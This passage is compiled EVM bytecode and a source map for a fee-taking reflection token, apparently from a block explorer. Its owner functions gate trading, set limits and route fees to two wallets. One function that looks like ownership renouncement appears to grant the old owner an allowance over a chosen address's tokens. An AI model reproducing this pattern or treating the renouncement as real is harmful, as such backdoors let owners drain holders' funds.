01df61029a3660046115b2565b610522565b3480156102aa575f80fd5b5061027e610587565b3480156102be575f80fd5b5060405160098152602001610169565b3480156102d9575f80fd5b5061015f60085481565b3480156102ee575f80fd5b5060145461020e906001600160a01b031681565b34801561030d575f80fd5b5061027e61031c3660046115f0565b6105c4565b34801561032c575f80fd5b5061015f61033b366004611607565b6105f3565b34801561034b575f80fd5b5061027e61035a366004611607565b610614565b34801561036a575f80fd5b5061027e610379366004611622565b610674565b348015610389575f80fd5b506001546001600160a01b031661020e565b3480156103a6575f80fd5b506040805180820190915260088152674655434b4655434b60c01b60208201526101b3565b3480156103d6575f80fd5b5060165461020e906001600160a01b031681565b3480156103f5575f80fd5b506101df610404366004611588565b610712565b348015610414575f80fd5b5061015f6104233660046116a5565b6001600160a01b039182165f9081526020818152604080832093909416825291909152205490565b348015610456575f80fd5b5061027e610465366004611607565b61071e565b5f610476338484610808565b5060015b92915050565b6001546001600160a01b031633146104b35760405162461bcd60e51b81526004016104aa906116dc565b60405180910390fd5b6001546040515f916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a36001600160a01b039182165f9081526020818152604080832060018054909616845290915290205580546001600160a01b0319169055565b5f61052e848484610929565b61057d843361057885604051806060016040528060288152602001611838602891396001600160a01b038a165f908152602081815260408083203384529091529020549190610dda565b610808565b5060019392505050565b6001546001600160a01b031633146105b15760405162461bcd60e51b81526004016104aa906116dc565b670de0b6b3a76400006007819055600855565b6001546001600160a01b031633146105ee5760405162461bcd60e51b81526004016104aa906116dc565b600955565b6001600160a01b0381165f9081526005602052604081205461047a90610e12565b6001546001600160a01b0316331461063e5760405162461bcd60e51b81526004016104aa906116dc565b6003805460ff60a01b1916600160a01b179055601480546001600160a01b039092166001600160a01b0319909216919091179055565b6001546001600160a01b0316331461069e5760405162461bcd60e51b81526004016104aa906116dc565b5f5b8281101561070c578160045f8686858181106106be576106be611711565b90506020020160208101906106d39190611607565b6001600160a01b0316815260208101919091526040015f20805460ff19169115159190911790558061070481611739565b9150506106a0565b50505050565b5f610476338484610929565b6001546001600160a01b031633146107485760405162461bcd60e51b81526004016104aa906116dc565b6001600160a01b0381166107ad5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104aa565b6001546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a3600180546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661086a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104aa565b6001600160a01b0382166108cb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104aa565b6001600160a01b038381165f818152602081815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661098d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104aa565b6001600160a01b0382166109ef5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104aa565b5f8111610a505760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104aa565b6001546001600160a01b03848116911614801590610a7c57506001546001600160a01b03838116911614155b15610cd657600354600160a01b900460ff16610b15576001546001600160a01b03848116911614610b155760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016104aa565b600754811115610b675760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016104aa565b6014546001600160a01b03838116911614610bec5760085481610b89846105f3565b610b939190611751565b10610bec5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016104aa565b5f610bf6306105f3565b600954600754919250821015908210610c0f5760075491505b808015610c265750600354600160a81b900460ff16155b8015610c4057506014546001600160a01b03868116911614155b8015610c555750600354600160b01b900460ff165b8015610c7957506001600160a01b0384165f9081526004602052604090205460ff16155b8015610c9d57506001600160a01b0385165f9081526004602052604090205460ff16155b15610cd357610cab82610e94565b478015610cd157610cd16003610cc2836002611764565b610ccc919061177b565b611004565b505b50505b6001600160a01b0383165f9081526004602052604090205460019060ff1680610d1657506001600160a01b0383165f9081526004602052604090205460ff165b80610d4857506014546001600160a01b03858116911614801590610d4857506014546001600160a01b03848116911614155b15610d5457505f610dce565b6014546001600160a01b038581169116148015610d7f57506003546001600160a01b03848116911614155b15610d9157600c54600f55600d546011555b6014546001600160a01b038481169116148015610dbc57506003546001600160a01b03858116911614155b15610dce57600e54600f556010546011555b61070c84848484611093565b5f8184841115610dfd5760405162461bcd60e51b81526004016104aa9190611526565b505f610e09848661179a565b95945050505050565b5f600a54821115610e785760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104aa565b5f610e816110c1565b9050610e8d83826110e2565b9392505050565b6003805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610eda57610eda611711565b6001600160a01b03928316602091820292909201810191909152600354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f31573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f5591906117ad565b81600181518110610f6857610f68611711565b6001600160a01b039283166020918202929092010152600354610f8e9130911684610808565b60035460405163791ac94760e01b81526001600160a01b039091169063791ac94790610fc69085905f908690309042906004016117c8565b5f604051808303815f87803b158015610fdd575f80fd5b505af1158015610fef573d5f803e3d5ffd5b50506003805460ff60a81b1916905550505050565b60025f611011828461177b565b6015546040519192506001600160a01b03169082156108fc029083905f818181858888f19350505050158015611049573d5f803e3d5ffd5b506016546001600160a01b03166108fc611064846001611751565b61106e9084611764565b6040518115909202915f818181858888f1935050505015801561070c573d5f803e3d5ffd5b806110a0576110a0611123565b6110ab848484611150565b8061070c5761070c601254600f55601354601155565b5f805f6110cc611241565b90925090506110db82826110e2565b9250505090565b5f610e8d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611280565b600f541580156111335750601154155b1561113a57565b600f8054601255601180546013555f9182905555565b5f805f805f8061115f876112ac565b6001600160a01b038f165f90815260056020526040902054959b509399509197509550935091506111909087611301565b6001600160a01b03808b165f9081526005602052604080822093909355908a16815220546111be9086611342565b6001600160a01b0389165f908152600560205260409020556111df816113a0565b6111e984836113e6565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161122e91815260200190565b60405180910390a3505050505050505050565b600a545f908190670de0b6b3a764000061125b82826110e2565b821015611277575050600a5492670de0b6b3a764000092509050565b90939092509050565b5f81836112a05760405162461bcd60e51b81526004016104aa9190611526565b505f610e09848661177b565b5f805f805f805f805f6112c48a600f5460115461140a565b9250925092505f6112d36110c1565b90505f805f6112e48e87878761145c565b919e509c509a509598509396509194505050505091939550919395565b5f610e8d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610dda565b5f8061134e8385611751565b905083811015610e8d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104aa565b5f6113a96110c1565b90505f6113b683836114a8565b305f908152600560205260409020549091506113d29082611342565b305f90815260056020526040902055505050565b600a546113f39083611301565b600a55600b546114039082611342565b600b555050565b5f808080611423606461141d89896114a8565b906110e2565b90505f611435606461141d8a896114a8565b90505f61144c826114468b86611301565b90611301565b9992985090965090945050505050565b5f80808061146a88866114a8565b90505f61147788876114a8565b90505f61148488886114a8565b90505f611495826114468686611301565b939b939a50919850919650505050505050565b5f825f036114b757505f61047a565b5f6114c28385611764565b9050826114cf858361177b565b14610e8d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104aa565b5f6020808352835180828501525f5b8181101561155157858101830151858201604001528201611535565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611585575f80fd5b50565b5f8060408385031215611599575f80fd5b82356115a481611571565b946020939093013593505050565b5f805f606084860312156115c4575f80fd5b83356115cf81611571565b925060208401356115df81611571565b929592945050506040919091013590565b5f60208284031215611600575f80fd5b5035919050565b5f60208284031215611617575f80fd5b8135610e8d81611571565b5f805f60408486031215611634575f80fd5b833567ffffffffffffffff8082111561164b575f80fd5b818601915086601f83011261165e575f80fd5b81358181111561166c575f80fd5b8760208260051b8501011115611680575f80fd5b60209283019550935050840135801515811461169a575f80fd5b809150509250925092565b5f80604083850312156116b6575f80fd5b82356116c181611571565b915060208301356116d181611571565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b5f6001820161174a5761174a611725565b5060010190565b8082018082111561047a5761047a611725565b808202811582820484141761047a5761047a611725565b5f8261179557634e487b7160e01b5f52601260045260245ffd5b500490565b8181038181111561047a5761047a611725565b5f602082840312156117bd575f80fd5b8151610e8d81611571565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156118165784516001600160a01b0316835293830193918301916001016117f1565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205eebce43486b77bab91d81fbb324f554bce144d3bfbb012627e40b94ccb75be764736f6c63430008150033
Deployed Bytecode Sourcemap
4280:12405:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4739:57;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;4739:57:0;;;;;;;;4884:49;;;;;;;;;;;;;;;;6389:83;;;;;;;;;;-1:-1:-1;6459:5:0;;;;;;;;;;;;-1:-1:-1;;;6459:5:0;;;;6389:83;;;;;;;:::i;7314:193::-;;;;;;;;;;-1:-1:-1;7314:193:0;;;;;:::i;:::-;;:::i;:::-;;;1370:14:1;;1363:22;1345:41;;1333:2;1318:18;7314:193:0;1205:187:1;11651:87:0;;;;;;;;;;-1:-1:-1;11651:87:0;;;;-1:-1:-1;;;;;11651:87:0;;;;;;-1:-1:-1;;;;;1577:32:1;;;1559:51;;1547:2;1532:18;11651:87:0;1397:219:1;4366:41:0;;;;;;;;;;-1:-1:-1;4366:41:0;;;;-1:-1:-1;;;;;4366:41:0;;;6812:95;;;;;;;;;;-1:-1:-1;4975:21:0;6812:95;;4053:220;;;;;;;;;;-1:-1:-1;4053:220:0;;;;;:::i;:::-;;:::i;:::-;;7515:446;;;;;;;;;;-1:-1:-1;7515:446:0;;;;;:::i;:::-;;:::i;14465:137::-;;;;;;;;;;;;;:::i;6575:83::-;;;;;;;;;;-1:-1:-1;6575:83:0;;5734:1;2458:36:1;;2446:2;2431:18;6575:83:0;2316:184:1;4811:58:0;;;;;;;;;;;;;;;;5742:27;;;;;;;;;;-1:-1:-1;5742:27:0;;;;-1:-1:-1;;;;;5742:27:0;;;14892:132;;;;;;;;;;-1:-1:-1;14892:132:0;;;;;:::i;:::-;;:::i;6666:138::-;;;;;;;;;;-1:-1:-1;6666:138:0;;;;;:::i;:::-;;:::i;10135:124::-;;;;;;;;;;-1:-1:-1;10135:124:0;;;;;:::i;:::-;;:::i;14610:230::-;;;;;;;;;;-1:-1:-1;14610:230:0;;;;;:::i;:::-;;:::i;3593:79::-;;;;;;;;;;-1:-1:-1;3658:6:0;;-1:-1:-1;;;;;3658:6:0;3593:79;;6480:87;;;;;;;;;;-1:-1:-1;6552:7:0;;;;;;;;;;;;-1:-1:-1;;;6552:7:0;;;;6480:87;;11745:93;;;;;;;;;;-1:-1:-1;11745:93:0;;;;-1:-1:-1;;;;;11745:93:0;;;7107:199;;;;;;;;;;-1:-1:-1;7107:199:0;;;;;:::i;:::-;;:::i;6915:184::-;;;;;;;;;;-1:-1:-1;6915:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;7064:18:0;;;7032:7;7064:18;;;;;;;;;;;:27;;;;;;;;;;;;;6915:184;3803:244;;;;;;;;;;-1:-1:-1;3803:244:0;;;;;:::i;:::-;;:::i;7314:193::-;7416:4;7438:39;1480:10;7461:7;7470:6;7438:8;:39::i;:::-;-1:-1:-1;7495:4:0;7314:193;;;;;:::o;4053:220::-;3718:6;;-1:-1:-1;;;;;3718:6:0;1480:10;3718:22;3710:67;;;;-1:-1:-1;;;3710:67:0;;;;;;;:::i;:::-;;;;;;;;;4176:6:::1;::::0;4155:40:::1;::::0;4192:1:::1;::::0;-1:-1:-1;;;;;4176:6:0::1;::::0;4155:40:::1;::::0;4192:1;;4155:40:::1;-1:-1:-1::0;;;;;4197:23:0;;::::1;:11;:23:::0;;;::::1;::::0;;;;;;;4221:6:::1;::::0;;;;::::1;4197:31:::0;;;;;;;:38;4246:19;;-1:-1:-1;;;;;;4246:19:0::1;::::0;;4053:220::o;7515:446::-;7647:4;7664:36;7674:6;7682:9;7693:6;7664:9;:36::i;:::-;7711:220;7734:6;1480:10;7782:138;7838:6;7782:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7782:19:0;;:11;:19;;;;;;;;;;;1480:10;7782:33;;;;;;;;;;:37;:138::i;:::-;7711:8;:220::i;:::-;-1:-1:-1;7949:4:0;7515:446;;;;;:::o;14465:137::-;3718:6;;-1:-1:-1;;;;;3718:6:0;1480:10;3718:22;3710:67;;;;-1:-1:-1;;;3710:67:0;;;;;;;:::i;:::-;4975:21:::1;14522:20;:30:::0;;;14563:21:::1;:31:::0;14465:137::o;14892:132::-;3718:6;;-1:-1:-1;;;;;3718:6:0;1480:10;3718:22;3710:67;;;;-1:-1:-1;;;3710:67:0;;;;;;;:::i;:::-;14979:16:::1;:37:::0;14892:132::o;6666:138::-;-1:-1:-1;;;;;6779:16:0;;6732:7;6779:16;;;:7;:16;;;;;;6759:37;;:19;:37::i;10135:124::-;3718:6;;-1:-1:-1;;;;;3718:6:0;1480:10;3718:22;3710:67;;;;-1:-1:-1;;;3710:67:0;;;;;;;:::i;:::-;10205:12:::1;:19:::0;;-1:-1:-1;;;;10205:19:0::1;-1:-1:-1::0;;;10205:19:0::1;::::0;;:12:::1;10226:25:::0;;-1:-1:-1;;;;;10226:25:0;;::::1;-1:-1:-1::0;;;;;;10226:25:0;;::::1;::::0;;;::::1;::::0;;10135:124::o;14610:230::-;3718:6;;-1:-1:-1;;;;;3718:6:0;1480:10;3718:22;3710:67;;;;-1:-1:-1;;;3710:67:0;;;;;;;:::i;:::-;14723:9:::1;14719:114;14738:19:::0;;::::1;14719:114;;;14813:8;14779:18;:31;14798:8;;14807:1;14798:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;14779:31:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;14779:31:0;:42;;-1:-1:-1;;14779:42:0::1;::::0;::::1;;::::0;;;::::1;::::0;;14759:3;::::1;::::0;::::1;:::i;:::-;;;;14719:114;;;;14610:230:::0;;;:::o;7107:199::-;7212:4;7234:42;1480:10;7258:9;7269:6;7234:9;:42::i;3803:244::-;3718:6;;-1:-1:-1;;;;;3718:6:0;1480:10;3718:22;3710:67;;;;-1:-1:-1;;;3710:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3892:22:0;::::1;3884:73;;;::::0;-1:-1:-1;;;3884:73:0;;5297:2:1;3884:73:0::1;::::0;::::1;5279:21:1::0;5336:2;5316:18;;;5309:30;5375:34;5355:18;;;5348:62;-1:-1:-1;;;5426:18:1;;;5419:36;5472:19;;3884:73:0::1;5095:402:1::0;3884:73:0::1;3994:6;::::0;3973:38:::1;::::0;-1:-1:-1;;;;;3973:38:0;;::::1;::::0;3994:6:::1;::::0;3973:38:::1;::::0;3994:6:::1;::::0;3973:38:::1;4022:6;:17:::0;;-1:-1:-1;;;;;;4022:17:0::1;-1:-1:-1::0;;;;;4022:17:0;;;::::1;::::0;;;::::1;::::0;;3803:244::o;7969:369::-;-1:-1:-1;;;;;8096:19:0;;8088:68;;;;-1:-1:-1;;;8088:68:0;;5704:2:1;8088:68:0;;;5686:21:1;5743:2;5723:18;;;5716:30;5782:34;5762:18;;;5755:62;-1:-1:-1;;;5833:18:1;;;5826:34;5877:19;;8088:68:0;5502:400:1;8088:68:0;-1:-1:-1;;;;;8175:21:0;;8167:68;;;;-1:-1:-1;;;8167:68:0;;6109:2:1;8167:68:0;;;6091:21:1;6148:2;6128:18;;;6121:30;6187:34;6167:18;;;6160:62;-1:-1:-1;;;6238:18:1;;;6231:32;6280:19;;8167:68:0;5907:398:1;8167:68:0;-1:-1:-1;;;;;8246:18:0;;;:11;:18;;;;;;;;;;;:27;;;;;;;;;;;;;:36;;;8298:32;;160:25:1;;;8298:32:0;;133:18:1;8298:32:0;;;;;;;7969:369;;;:::o;11847:2404::-;-1:-1:-1;;;;;11969:18:0;;11961:68;;;;-1:-1:-1;;;11961:68:0;;6512:2:1;11961:68:0;;;6494:21:1;6551:2;6531:18;;;6524:30;6590:34;6570:18;;;6563:62;-1:-1:-1;;;6641:18:1;;;6634:35;6686:19;;11961:68:0;6310:401:1;11961:68:0;-1:-1:-1;;;;;12048:16:0;;12040:64;;;;-1:-1:-1;;;12040:64:0;;6918:2:1;12040:64:0;;;6900:21:1;6957:2;6937:18;;;6930:30;6996:34;6976:18;;;6969:62;-1:-1:-1;;;7047:18:1;;;7040:33;7090:19;;12040:64:0;6716:399:1;12040:64:0;12132:1;12123:6;:10;12115:64;;;;-1:-1:-1;;;12115:64:0;;7322:2:1;12115:64:0;;;7304:21:1;7361:2;7341:18;;;7334:30;7400:34;7380:18;;;7373:62;-1:-1:-1;;;7451:18:1;;;7444:39;7500:19;;12115:64:0;7120:405:1;12115:64:0;3658:6;;-1:-1:-1;;;;;12210:15:0;;;3658:6;;12210:15;;;;:32;;-1:-1:-1;3658:6:0;;-1:-1:-1;;;;;12229:13:0;;;3658:6;;12229:13;;12210:32;12192:1371;;;12307:12;;-1:-1:-1;;;12307:12:0;;;;12302:207;;3658:6;;-1:-1:-1;;;;;12370:15:0;;;3658:6;;12370:15;12340:153;;;;-1:-1:-1;;;12340:153:0;;7732:2:1;12340:153:0;;;7714:21:1;7771:2;7751:18;;;7744:30;7810:34;7790:18;;;7783:62;7881:33;7861:18;;;7854:61;7932:19;;12340:153:0;7530:427:1;12340:153:0;12561:20;;12551:6;:30;;12525:120;;;;-1:-1:-1;;;12525:120:0;;8164:2:1;12525:120:0;;;8146:21:1;8203:2;8183:18;;;8176:30;8242;8222:18;;;8215:58;8290:18;;12525:120:0;7962:352:1;12525:120:0;12683:12;;-1:-1:-1;;;;;12677:18:0;;;12683:12;;12677:18;12674:170;;12749:21;;12740:6;12724:13;12734:2;12724:9;:13::i;:::-;:22;;;;:::i;:::-;:46;12716:112;;;;-1:-1:-1;;;12716:112:0;;8651:2:1;12716:112:0;;;8633:21:1;8690:2;8670:18;;;8663:30;8729:34;8709:18;;;8702:62;-1:-1:-1;;;8780:18:1;;;8773:33;8823:19;;12716:112:0;8449:399:1;12716:112:0;12860:29;12892:24;12910:4;12892:9;:24::i;:::-;12983:16;;13042:20;;12860:56;;-1:-1:-1;12958:41:0;;;;13017:45;;13014:94;;13088:20;;13064:44;;13014:94;13127:7;:39;;;;-1:-1:-1;13157:9:0;;-1:-1:-1;;;13157:9:0;;;;13156:10;13127:39;:81;;;;-1:-1:-1;13196:12:0;;-1:-1:-1;;;;;13188:20:0;;;13196:12;;13188:20;;13127:81;:115;;;;-1:-1:-1;13230:12:0;;-1:-1:-1;;;13230:12:0;;;;13127:115;:160;;;;-1:-1:-1;;;;;;13265:22:0;;;;;;:18;:22;;;;;;;;13264:23;13127:160;:207;;;;-1:-1:-1;;;;;;13310:24:0;;;;;;:18;:24;;;;;;;;13309:25;13127:207;13123:429;;;13369:34;13381:21;13369:11;:34::i;:::-;13443:21;13487:14;;13483:53;;13503:33;13534:1;13517:14;:10;13530:1;13517:14;:::i;:::-;:18;;;;:::i;:::-;13503:13;:33::i;:::-;13350:202;13123:429;12254:1309;;12192:1371;-1:-1:-1;;;;;13608:24:0;;13573:12;13608:24;;;:18;:24;;;;;;13588:4;;13608:24;;;:50;;-1:-1:-1;;;;;;13636:22:0;;;;;;:18;:22;;;;;;;;13608:50;13607:100;;;-1:-1:-1;13672:12:0;;-1:-1:-1;;;;;13664:20:0;;;13672:12;;13664:20;;;;:42;;-1:-1:-1;13694:12:0;;-1:-1:-1;;;;;13688:18:0;;;13694:12;;13688:18;;13664:42;13603:576;;;-1:-1:-1;13734:5:0;13603:576;;;13792:12;;-1:-1:-1;;;;;13784:20:0;;;13792:12;;13784:20;:54;;;;-1:-1:-1;13822:15:0;;-1:-1:-1;;;;;13808:30:0;;;13822:15;;13808:30;;13784:54;13781:178;;;13875:16;;13859:13;:32;13930:13;;13910:17;:33;13781:178;13997:12;;-1:-1:-1;;;;;13991:18:0;;;13997:12;;13991:18;:54;;;;-1:-1:-1;14029:15:0;;-1:-1:-1;;;;;14013:32:0;;;14029:15;;14013:32;;13991:54;13987:181;;;14082:17;;14066:13;:33;14138:14;;14118:17;:34;13987:181;14189:54;14217:4;14223:2;14227:6;14235:7;14189:27;:54::i;375:224::-;495:7;531:12;523:6;;;;515:29;;;;-1:-1:-1;;;515:29:0;;;;;;;;:::i;:::-;-1:-1:-1;555:9:0;567:5;571:1;567;:5;:::i;:::-;555:17;375:224;-1:-1:-1;;;;;375:224:0:o;9804:323::-;9899:7;9957;;9946;:18;;9924:110;;;;-1:-1:-1;;;9924:110:0;;9583:2:1;9924:110:0;;;9565:21:1;9622:2;9602:18;;;9595:30;9661:34;9641:18;;;9634:62;-1:-1:-1;;;9712:18:1;;;9705:40;9762:19;;9924:110:0;9381:406:1;9924:110:0;10045:19;10067:10;:8;:10::i;:::-;10045:32;-1:-1:-1;10095:24:0;:7;10045:32;10095:11;:24::i;:::-;10088:31;9804:323;-1:-1:-1;;;9804:323:0:o;15032:477::-;5813:9;:16;;-1:-1:-1;;;;5813:16:0;-1:-1:-1;;;5813:16:0;;;15128::::1;::::0;;15142:1:::1;15128:16:::0;;;;;::::1;::::0;;-1:-1:-1;;15128:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;15128:16:0::1;15104:40;;15173:4;15155;15160:1;15155:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;15155:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;15199:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;15199:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;15155:7;;15199:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;15189:4;15194:1;15189:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;15189:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;15264:15:::1;::::0;15232:62:::1;::::0;15249:4:::1;::::0;15264:15:::1;15282:11:::0;15232:8:::1;:62::i;:::-;15305:15;::::0;:196:::1;::::0;-1:-1:-1;;;15305:196:0;;-1:-1:-1;;;;;15305:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;15386:11;;15305:15:::1;::::0;15428:4;;15455::::1;::::0;15475:15:::1;::::0;15305:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5852:9:0;:17;;-1:-1:-1;;;;5852:17:0;;;-1:-1:-1;;;;15032:477:0:o;11389:254::-;11470:1;11447:20;11503:21;11470:1;11503:6;:21;:::i;:::-;11535:10;;:31;;11482:42;;-1:-1:-1;;;;;;11535:10:0;;:31;;;;;11482:42;;11535:10;:31;:10;:31;11482:42;11535:10;:31;;;;;;;;;;;;;;;;;;;;-1:-1:-1;11577:16:0;;-1:-1:-1;;;;;11577:16:0;:58;11617:16;:12;11577:16;11617;:::i;:::-;11603:31;;:10;:31;:::i;:::-;11577:58;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16329:353;16497:6;16492:51;;16520:11;:9;:11::i;:::-;16553:47;16574:6;16582:9;16593:6;16553:20;:47::i;:::-;16616:6;16611:64;;16651:12;16241:21;;16225:13;:37;16293:16;;16273:17;:36;16184:133;8892:164;8934:7;8955:15;8972;8991:19;:17;:19::i;:::-;8954:56;;-1:-1:-1;8954:56:0;-1:-1:-1;9028:20:0;8954:56;;9028:11;:20::i;:::-;9021:27;;;;8892:164;:::o;1228:132::-;1286:7;1313:39;1317:1;1320;1313:39;;;;;;;;;;;;;;;;;:3;:39::i;10490:250::-;10534:13;;:18;:44;;;;-1:-1:-1;10556:17:0;;:22;10534:44;10530:57;;;10490:250::o;10530:57::-;10621:13;;;10597:21;:37;10664:17;;;10645:16;:36;-1:-1:-1;10683:17:0;;;;10711:21;10490:250::o;15564:612::-;15714:15;15744:23;15782:12;15809:23;15847:12;15874:13;15901:19;15912:7;15901:10;:19::i;:::-;-1:-1:-1;;;;;15949:15:0;;;;;;:7;:15;;;;;;15699:221;;-1:-1:-1;15699:221:0;;-1:-1:-1;15699:221:0;;-1:-1:-1;15699:221:0;-1:-1:-1;15699:221:0;-1:-1:-1;15699:221:0;-1:-1:-1;15949:28:0;;15699:221;15949:19;:28::i;:::-;-1:-1:-1;;;;;15931:15:0;;;;;;;:7;:15;;;;;;:46;;;;16009:18;;;;;;;:39;;16032:15;16009:22;:39::i;:::-;-1:-1:-1;;;;;15988:18:0;;;;;;:7;:18;;;;;:60;16059:18;16071:5;16059:11;:18::i;:::-;16079:29;16097:4;16103;16079:17;:29::i;:::-;16141:9;-1:-1:-1;;;;;16124:44:0;16133:6;-1:-1:-1;;;;;16124:44:0;;16152:15;16124:44;;;;160:25:1;;148:2;133:18;;14:177;16124:44:0;;;;;;;;15688:488;;;;;;15564:612;;;:::o;9064:257::-;9162:7;;9115;;;;4975:21;9230:20;9162:7;4975:21;9230:11;:20::i;:::-;9220:7;:30;9216:61;;;-1:-1:-1;;9260:7:0;;;4975:21;;-1:-1:-1;9064:257:0;-1:-1:-1;9064:257:0:o;9216:61::-;9296:7;;9305;;-1:-1:-1;9064:257:0;-1:-1:-1;9064:257:0:o;999:223::-;1119:7;1154:12;1147:5;1139:28;;;;-1:-1:-1;;;1139:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1178:9:0;1190:5;1194:1;1190;:5;:::i;10748:629::-;10848:7;10870;10892;10914;10936;10958;10994:23;11019:12;11033:13;11063:54;11075:7;11084:13;;11099:17;;11063:11;:54::i;:::-;10993:124;;;;;;11128:19;11150:10;:8;:10::i;:::-;11128:32;;11172:15;11189:23;11214:12;11243:46;11255:7;11264:4;11270:5;11277:11;11243;:46::i;:::-;11171:118;;-1:-1:-1;11171:118:0;-1:-1:-1;11171:118:0;-1:-1:-1;11340:15:0;;-1:-1:-1;11357:4:0;;-1:-1:-1;11363:5:0;;-1:-1:-1;;;;;10748:629:0;;;;;;;:::o;857:136::-;915:7;942:43;946:1;949;942:43;;;;;;;;;;;;;;;;;:3;:43::i;190:179::-;248:7;;280:5;284:1;280;:5;:::i;:::-;268:17;;309:1;304;:6;;296:46;;;;-1:-1:-1;;;296:46:0;;11367:2:1;296:46:0;;;11349:21:1;11406:2;11386:18;;;11379:30;11445:29;11425:18;;;11418:57;11492:18;;296:46:0;11165:351:1;10267:213:0;10322:19;10344:10;:8;:10::i;:::-;10322:32;-1:-1:-1;10365:13:0;10381:22;:5;10322:32;10381:9;:22::i;:::-;10455:4;10439:22;;;;:7;:22;;;;;;10365:38;;-1:-1:-1;10439:33:0;;10365:38;10439:26;:33::i;:::-;10430:4;10414:22;;;;:7;:22;;;;;:58;-1:-1:-1;;;10267:213:0:o;14259:163::-;14343:7;;:17;;14355:4;14343:11;:17::i;:::-;14333:7;:27;14389:15;;:25;;14409:4;14389:19;:25::i;:::-;14371:15;:43;-1:-1:-1;;14259:163:0:o;9329:467::-;9497:7;;;;9591:29;9616:3;9591:20;:7;9603;9591:11;:20::i;:::-;:24;;:29::i;:::-;9576:44;-1:-1:-1;9631:13:0;9647:28;9671:3;9647:19;:7;9659:6;9647:11;:19::i;:28::-;9631:44;-1:-1:-1;9686:23:0;9712:28;9631:44;9712:17;:7;9724:4;9712:11;:17::i;:::-;:21;;:28::i;:::-;9686:54;9776:4;;-1:-1:-1;9782:5:0;;-1:-1:-1;9329:467:0;;-1:-1:-1;;;;;9329:467:0:o;8350:534::-;8544:7;;;;8641:24;:7;8653:11;8641;:24::i;:::-;8623:42;-1:-1:-1;8676:12:0;8691:21;:4;8700:11;8691:8;:21::i;:::-;8676:36;-1:-1:-1;8723:13:0;8739:22;:5;8749:11;8739:9;:22::i;:::-;8723:38;-1:-1:-1;